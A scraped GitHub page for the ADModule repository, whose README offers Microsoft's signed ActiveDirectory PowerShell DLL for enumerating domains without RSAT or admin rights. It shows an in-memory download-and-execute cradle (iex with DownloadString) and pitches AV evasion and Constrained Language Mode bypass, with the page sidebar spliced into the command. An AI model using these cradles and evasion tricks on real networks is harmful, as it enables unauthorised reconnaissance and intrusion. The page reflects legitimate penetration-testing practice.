samratashok / ADModule Public

Notifications Fork 198 Star 842

Code Issues 6 Pull requests Actions Projects Security Insights

master Go to file Code

samratashok Update README.md 19b94ce · 6 years ago 17 Commits

ActiveDirectory	Inital Commit	6 years ago
img	Create AD_Module_Array.png	6 years ago
Import-ActiveDirectory.ps1	Update Import-ActiveDirectory.ps1	6 years ago
Microsoft.ActiveDirectory.Manag...	Inital Commit	6 years ago
README.md	Update README.md	6 years ago

README

ADModule

Microsoft signed DLL for the ActiveDirectory PowerShell module

Just a backup for the Microsoft's ActiveDirectory PowerShell module from Server 2016 with RSAT and module installed. The DLL is usually found at this path: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management

and the rest of the module files at this path: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\

Usage

You can copy this DLL to your machine and use it to enumerate Active Directory without installing RSAT and without having administrative privileges.

PS C:\> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose

```
PS C:\>
PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
PS C:\>
PS C:\> Import-Module C:\AD\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll
PS C:\>
PS C:\> Get-ADDomain


DomainSID                          : S-1-5-21-738119705-704267045-3387619857
AllowedDNSSuffixes                 : {}
LastLogonReplicationInterval       :
DomainMode                         : 7
ManagedBy                          :
LinkedGroupPolicyObjects           : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=offensiveps,DC=powershell,DC=
                                     local}
```

You can also use the Import-ActiveDirectory.ps1 (Thanks to PR by @D1iv3) to load the script using download-execute cradles and without writing the DLL to disk:

PS C:\> iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADM

About

Microsoft signed ActiveDirectory PowerShell module

Readme
Activity
842 stars
17 watching
198 forks

Report repository

Releases

No releases published

Packages

No packages published

Contributors 2

samratashok Nikhil "SamratAshok" Mittal

Dliv3

Languages

PowerShell 100.0%

odule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory

```
PS C:\>
PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
PS C:\>
PS C:\> iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Imp
ort-ActiveDirectory.ps1');Import-ActiveDirectory
PS C:\>
PS C:\> Get-ADDomain


DomainSID                          : S-1-5-21-738119705-704267045-3387619857
AllowedDNSSuffixes                 : {}
LastLogonReplicationInterval       :
DomainMode                         : Windows2016Domain
ManagedBy                          :
LinkedGroupPolicyObjects           : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=offensiveps,DC
                                     =powershell,DC=local}
```

To be able to list all the cmdlets in the module, import the module as well. Remember to import the DLL first.

PS C:\> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose

PS C:\> Import-Module C:\AD\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1

PS C:\> Get-Command -Module ActiveDirectory

Benefits

There are many benefits like very low chances of detection by AV, very wide coverage by cmdlets, good filters for cmdlets, signed by Microsoft etc. The most useful one, however, is that this module works flawlessly from PowerShell's Constrained Language Mode

```
PS C:\>
PS C:\> $ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
PS C:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\>
PS C:\> Import-Module C:\AD\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll
PS C:\>
PS C:\> Get-ADDomain


DomainSID                          : S-1-5-21-738119705-704267045-3387619857
AllowedDNSSuffixes                 : {}
LastLogonReplicationInterval       :
DomainMode                         : 7
ManagedBy                          :
LinkedGroupPolicyObjects           : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=offensiveps,DC=powershell,DC=
                                     local}
```

Blog

https://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-